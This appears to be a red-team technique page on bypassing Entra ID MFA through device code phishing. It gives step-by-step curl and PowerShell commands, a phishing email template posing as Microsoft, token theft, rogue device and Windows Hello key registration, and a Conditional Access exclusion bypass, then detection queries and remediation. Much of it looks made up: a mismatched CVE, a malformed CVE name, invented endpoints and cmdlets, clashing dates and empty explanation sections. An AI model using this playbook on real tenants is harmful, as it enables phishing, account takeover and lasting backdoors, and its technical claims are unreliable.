| Attribute | Details |
|---|---|
| Technique ID | EMERGING-IDENTITY-004 |
| MITRE ATT&CK v18.1 | T1556 - Modify Authentication Process |
| Tactic | Credential Access, Persistence, Privilege Escalation |
| Platforms | Entra ID, M365, Azure |
| Severity | Critical |
| CVE | CVE-2023-28432 (Actor Token - Related), CVE-2025-EntraIDiots (Passwordless Bypass) |
| Technique Status | ACTIVE |
| Last Verified | 2025-04-30 |
| Affected Versions | Entra ID (all versions with device code flow enabled) |
| Patched In | Partial (requires policy changes, not automatic) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Passwordless sign-in bypass exploits the device code flow in Entra ID to bypass mandatory phishing-resistant MFA by manipulating authentication broker parameters. Attackers trick users into registering devices in the Entra ID tenant, obtain Primary Refresh Tokens (PRTs), and register Windows Hello for Business keys—all without the attacker ever needing to know or enter the user’s password. This creates a permanent, hidden backdoor that survives password resets and cannot be detected in standard authentication method lists.
Attack Surface: Device code flow, authentication broker parameters (29d9ed98-a469-4536-ade2-f981bc1d605e), Primary Refresh Token (PRT) issuance, Windows Hello for Business key registration, Microsoft Graph API device registration endpoints.
Business Impact: MFA bypass, backdoor access, and persistent compromise of targeted user accounts or entire organizations. Even with mandatory phishing-resistant MFA, attackers establish undetectable backdoors that survive password resets and are invisible in the user’s authentication method list. Audit logs provide insufficient detail, leaving organizations unable to detect or investigate compromise.
Technical Context: Attack execution takes 5-20 minutes for a single user, or hours for organization-wide compromise. Detection probability is Very Low because device code flow is legitimate functionality, and the attack produces minimal audit trail evidence. The key vulnerability is insufficient validation of the device registration source and PRT issuance scope.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Entra ID v1.3, 1.3.1 | Ensure Multi-Factor Authentication is Enabled for all Users |
| DISA STIG | IA-2, IA-2 (1), AC-2, AC-3 | Authentication, Account Management, Access Enforcement |
| CISA SCuBA | MP-CA-EX-02, ID.P-3 | Conditional Access: Require MFA, Identity Governance |
| NIST 800-53 | AC-2, AC-3, IA-2, IA-4 | Account Management, Access Enforcement, Authentication |
| GDPR | Art. 25, Art. 32, Art. 33 | Data Protection by Design, Security of Processing, Breach Notification |
| DORA | Art. 15, Art. 16 | ICT Risk Management, ICT Incident Reporting |
| NIS2 | Art. 21, Art. 24 | Risk Management Measures, Incident Management |
| ISO 27001 | A.9.2.1, A.9.2.3, A.9.4.2 | User Registration, Privileged Access, Access Review |
| ISO 27005 | Threat: MFA Bypass | Circumvention of multi-factor authentication controls |
Supported Versions: All Entra ID tenants with device code flow enabled (default)
Objective: Start the device code authentication flow and obtain a device code and user code.
Command:
# Request device code
curl -X POST "https://login.microsoftonline.com/tenant-id/oauth2/v2.0/devicecode" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=https://graph.microsoft.com/.default" \
-d "tenant_id=tenant-id"
Expected Output:
{
"device_code": "NA0t1mSvwAcjcNRFrqjqPk9G3HN8-0J1MZvIl5ZFBG",
"user_code": "ABC123DEF",
"verification_uri": "https://microsoft.com/devicelogin",
"expires_in": 900,
"interval": 5,
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABC123DEF to authenticate."
}
What This Means:
OpSec & Evasion:
Objective: Trick user into entering the device code at Microsoft login page, completing MFA.
Command (Email Template):
<html>
<body>
<p>Your Microsoft account requires verification. Please enter the following code at https://microsoft.com/devicelogin:</p>
<h2>Code: ABC123DEF</h2>
<p>This code will expire in 15 minutes. Click here if you did not initiate this login:</p>
<a href="https://security.microsoft.com/report-phishing">Report</a>
</body>
</html>
What Happens:
What This Means:
OpSec & Evasion:
Objective: Exchange device code for PRT after victim completes authentication.
Command:
# After victim enters device code, poll for token
curl -X POST "https://login.microsoftonline.com/tenant-id/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "device_code=NA0t1mSvwAcjcNRFrqjqPk9G3HN8-0J1MZvIl5ZFBG" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI...",
"refresh_token": "M.R3_BAY...",
"ext_expires_in": 3599,
"expires_in": 3599,
"token_type": "Bearer",
"id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI..."
}
What This Means:
OpSec & Evasion:
Objective: Use token to register a device in the target’s Entra ID tenant, creating persistence.
Command:
# Register device (even though attacker is not physically using it)
curl -X POST "https://graph.microsoft.com/v1.0/devices/register" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "DESKTOP-USER-PERSONAL",
"deviceType": "Windows",
"operatingSystem": "Windows 10",
"registrationStatus": "registered"
}'
Expected Output:
{
"id": "1a2b3c4d-5e6f-7g8h-9i0j-1k2l3m4n5o6p",
"displayName": "DESKTOP-USER-PERSONAL",
"deviceId": "abcd1234-5678-90ef-ghij-1234567890ab",
"isCompliant": true,
"isManaged": false,
"trustType": "Azure AD registered"
}
What This Means:
OpSec & Evasion:
Objective: Register a Windows Hello key for the device, creating MFA-compliant persistence.
Command:
# Create Windows Hello key registration
curl -X POST "https://graph.microsoft.com/v1.0/me/authentication/windowsHelloForBusinessMethods" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Windows Hello Key",
"publicKey": {
"keySize": 2048,
"algorithm": "RSA2048",
"certificateId": "dummy-cert-id"
}
}'
Expected Output:
{
"id": "a1b2c3d4-e5f6-7a8b-9c0d-1e2f3a4b5c6d",
"displayName": "Windows Hello Key",
"deviceTag": "DESKTOP-USER-PERSONAL",
"createdDateTime": "2026-01-10T00:00:00Z"
}
What This Means:
OpSec & Evasion:
Objective: Use the registered Windows Hello key to generate a new PRT, creating MFA-compliant persistent access.
Command:
# Request new token using Windows Hello key (simulated)
curl -X POST "https://login.microsoftonline.com/tenant-id/oauth2/v2.0/token" \
-H "Content-Type: application/json" \
-d '{
"grant_type": "urn:ietf:params:oauth:grant-type:windows_hello",
"assertion": "whfb_key_assertion_signed_with_registered_key",
"client_id": "29d9ed98-a469-4536-ade2-f981bc1d605e",
"scope": "https://graph.microsoft.com/.default"
}'
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI...",
"refresh_token": "M.R3_BAY...",
"prt": "M.R3_PRThash...",
"prt_expires_in": 90,
"token_type": "Bearer"
}
What This Means:
OpSec & Evasion:
Objective: Use PRT to access all M365 services as the compromised user.
Command:
# Use PRT to access Exchange Online
curl -X GET "https://outlook.office365.com/api/v2.0/me" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Access SharePoint
curl -X GET "https://graph.microsoft.com/v1.0/me/driveItems" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Read emails
curl -X GET "https://graph.microsoft.com/v1.0/me/messages" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# List calendar events
curl -X GET "https://graph.microsoft.com/v1.0/me/calendar/calendarview" \
-H "Authorization: Bearer $ACCESS_TOKEN"
What This Means:
OpSec & Evasion:
Supported Versions: All Entra ID with Conditional Access policies
Objective: Discover which devices are excluded from Conditional Access enforcement.
Command:
# Enumerate conditional access policies
curl -X GET "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
-H "Authorization: Bearer $ADMIN_TOKEN"
Expected Output:
[
{
"id": "12345678-abcd-ef01-2345-6789abcdef01",
"displayName": "Require Compliant Device",
"conditions": {
"devices": {
"excludeDevices": [
"DESKTOP-LEGACY-SYSTEM",
"Windows Server 2016"
]
}
}
}
]
What This Means:
Objective: Register device with properties matching excluded device types.
Command:
# Register device that matches exclusion pattern
curl -X POST "https://graph.microsoft.com/v1.0/devices/register" \
-H "Authorization: Bearer $USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Windows Server 2016",
"operatingSystem": "Windows Server",
"operatingSystemVersion": "10.0.14393",
"trustType": "Azure AD registered"
}'
Expected Output:
{
"id": "ca5f5f5f-5f5f-5f5f-5f5f-5f5f5f5f5f5f",
"displayName": "Windows Server 2016",
"deviceId": "5f5f5f5f-5f5f-5f5f-5f5f-5f5f5f5f5f5f",
"trustType": "Azure AD registered"
}
What This Means:
OpSec & Evasion:
Note: No direct Atomic test for passwordless bypass. Related tests:
Lab Simulation:
# Prerequisites: Test tenant with device code flow enabled
# Step 1: Request device code
$deviceCodeRequest = @{
client_id = "29d9ed98-a469-4536-ade2-f981bc1d605e"
scope = "https://graph.microsoft.com/.default"
}
$deviceCodeResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/devicecode" `
-Method Post -Body $deviceCodeRequest
Write-Host "User Code: $($deviceCodeResponse.user_code)"
Write-Host "Device Code: $($deviceCodeResponse.device_code)"
# Step 2: Have test user complete authentication at microsoft.com/devicelogin
Read-Host "Press Enter after user completes authentication"
# Step 3: Exchange device code for tokens
$tokenRequest = @{
grant_type = "urn:ietf:params:oauth:grant-type:device_code"
device_code = $deviceCodeResponse.device_code
client_id = "29d9ed98-a469-4536-ade2-f981bc1d605e"
}
$tokenResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" `
-Method Post -Body $tokenRequest
Write-Host "Access Token Obtained: $($tokenResponse.access_token.Substring(0, 50))..."
# Step 4: Register device
$deviceRegistration = @{
displayName = "Test-Backdoor-Device"
deviceType = "Windows"
operatingSystem = "Windows 10"
}
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/devices" `
-Method Post `
-Headers @{ Authorization = "Bearer $($tokenResponse.access_token)" } `
-Body ($deviceRegistration | ConvertTo-Json)
Write-Host "Device Registered Successfully"
Get-AzureADDevice
Register-AzureADDevice
Get-AzureADUserRegisteredDevice
Get-MgDeviceRegisteredDevice
New-MgDeviceRegisteredDevice
Get-MgUserAuthenticationWindowsHelloForBusinessMethod
Rule Configuration:
KQL Query:
// Detect unusual device registrations
let DeviceRegistrations = AuditLogs
| where OperationName == "Register device"
| where Result == "Success"
| extend RegisteredBy = tostring(InitiatedBy.user.userPrincipalName)
| extend RegisteredIP = tostring(InitiatedBy.user.ipAddress)
| extend RegisteredTime = TimeGenerated
| extend DeviceId = tostring(TargetResources[0].id);
let UserSigninHistory = SigninLogs
| where TimeGenerated > ago(30d)
| distinct UserPrincipalName, IPAddress as PreviousIP
| summarize PreviousIPs = make_set(PreviousIP) by UserPrincipalName;
DeviceRegistrations
| join (UserSigninHistory) on $left.RegisteredBy == $right.UserPrincipalName
| where RegisteredIP !in (PreviousIPs)
| project TimeGenerated, RegisteredBy, RegisteredIP, DeviceId, OperationName
What This Detects:
Rule Configuration:
KQL Query:
// Detect suspicious Windows Hello registrations
AuditLogs
| where OperationName in (
"Register Windows Hello for Business key",
"Add authentication method",
"Update Windows Hello credentials"
)
| where Result == "Success"
| extend RegisteredBy = tostring(InitiatedBy.user.userPrincipalName)
| extend DeviceTag = tostring(parse_json(TargetResources[0].modifiedProperties[0].newValue))
| extend TimeRegistered = TimeGenerated
| summarize Count = count() by RegisteredBy, tostring(DeviceTag)
| where Count > 2
| project RegisteredBy, DeviceTag, Count
Rule Configuration:
KQL Query:
// Correlate device registration with PRT issuance
let DeviceRegistrations = AuditLogs
| where OperationName == "Register device"
| extend RegisteredUser = tostring(InitiatedBy.user.userPrincipalName)
| extend RegistrationTime = TimeGenerated
| project RegisteredUser, RegistrationTime;
SigninLogs
| where TimeGenerated > ago(24h)
| where AuthenticationMethodsUsed contains "Windows Hello"
| extend SigninUser = UserPrincipalName
| extend SigninTime = TimeGenerated
| join (DeviceRegistrations) on $left.SigninUser == $right.RegisteredUser
| where SigninTime > RegistrationTime and SigninTime < RegistrationTime + 2h
| project SigninUser, SigninTime, RegistrationTime, DeviceName
Manual Steps (PowerShell):
$app = Get-MgApplication -Filter "displayName eq 'Microsoft Graph'"
Update-MgApplication -ApplicationId $app.Id `
-IsFallbackPublicClient $false
PowerShell:
# Get current device settings
Get-MgPolicyCrossTenantsAccessPolicyTemplate
# Update to restrict registration
Update-MgPolicyCrossTenantsAccessPolicyTemplate `
-AllowedToSignUpAndRegisterDevices $false
PowerShell:
# Enforce passwordless authentication
Update-MgPolicyAuthenticationMethodPolicy `
-AuthenticationMethods @{
@{
"@odata.type" = "#microsoft.graph.passwordAuthentication"
"state" = "disabled"
}
}
Block Non-Compliant Devices from M365# Check if device code flow is disabled
$apps = Get-MgApplication
$deviceCodeApps = $apps | Where-Object { $_.IsFallbackPublicClient -eq $true }
Write-Host "Apps with device code flow enabled: $($deviceCodeApps.Count)"
# Check device registration restrictions
$deviceSettings = Get-MgPolicyCrossTenantsAccessPolicyTemplate
Write-Host "Device registration allowed: $($deviceSettings.AllowedToSignUpAndRegisterDevices)"
# Check for suspicious device registrations in past 7 days
$recentDevices = Get-MgDevice -Filter "createdDateTime gt 2026-01-03T00:00:00Z"
Write-Host "Devices registered in past 7 days: $($recentDevices.Count)"
$recentDevices | Select-Object DisplayName, CreatedDateTime, TrustType
# Check for suspicious Windows Hello registrations
$whfbMethods = Get-MgUserAuthenticationWindowsHelloForBusinessMethod -UserId "user@contoso.com"
Write-Host "Windows Hello keys registered: $($whfbMethods.Count)"
Expected Output (If Secure):
Apps with device code flow enabled: 0
Device registration allowed: False
Devices registered in past 7 days: 2 (normal/expected devices only)
Windows Hello keys registered: 1 (user's own key only)
# Revoke all sessions for compromised user
Revoke-MgUserSignInSession -UserId "compromised@contoso.com"
# Remove suspicious devices
Remove-MgDevice -DeviceId "suspicious-device-id"
# Remove all Windows Hello keys
Get-MgUserAuthenticationWindowsHelloForBusinessMethod -UserId "compromised@contoso.com" |
ForEach-Object { Remove-MgUserAuthenticationWindowsHelloForBusinessMethod -UserId "compromised@contoso.com" -WindowsHelloForBusinessMethodId $_.Id }
# Export device registration history
Get-MgDeviceWithoutAuthenticationMethod | Where-Object { $_.CreatedDateTime -gt (Get-Date).AddDays(-30) } |
Export-Csv "C:\Forensics\DeviceRegistrations_30days.csv"
# Check sign-in logs for unusual patterns
Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'compromised@contoso.com'" -All |
Export-Csv "C:\Forensics\SigninLogs_Compromised.csv"
# Force password reset
Update-MgUser -UserId "compromised@contoso.com" -PasswordProfile @{
Password = (New-Guid).Guid
ForceChangePasswordNextSignIn = $true
}
# Re-register MFA methods
Remove-MgUserAuthenticationPhoneMethod -UserId "compromised@contoso.com" -PhoneMethodId "ph-method-id"
Remove-MgUserAuthenticationFidoMethod -UserId "compromised@contoso.com" -FidoMethodId "fido-method-id"
# Force re-enrollment in MFA
Update-MgUser -UserId "compromised@contoso.com" -RefreshTokensValidFromDateTime (Get-Date)
Passwordless sign-in bypass represents one of the most dangerous identity attacks because:
Prevention requires:
The fundamental problem: Microsoft allows users to register arbitrary devices without sufficient validation, and Windows Hello keys can be registered without user notification.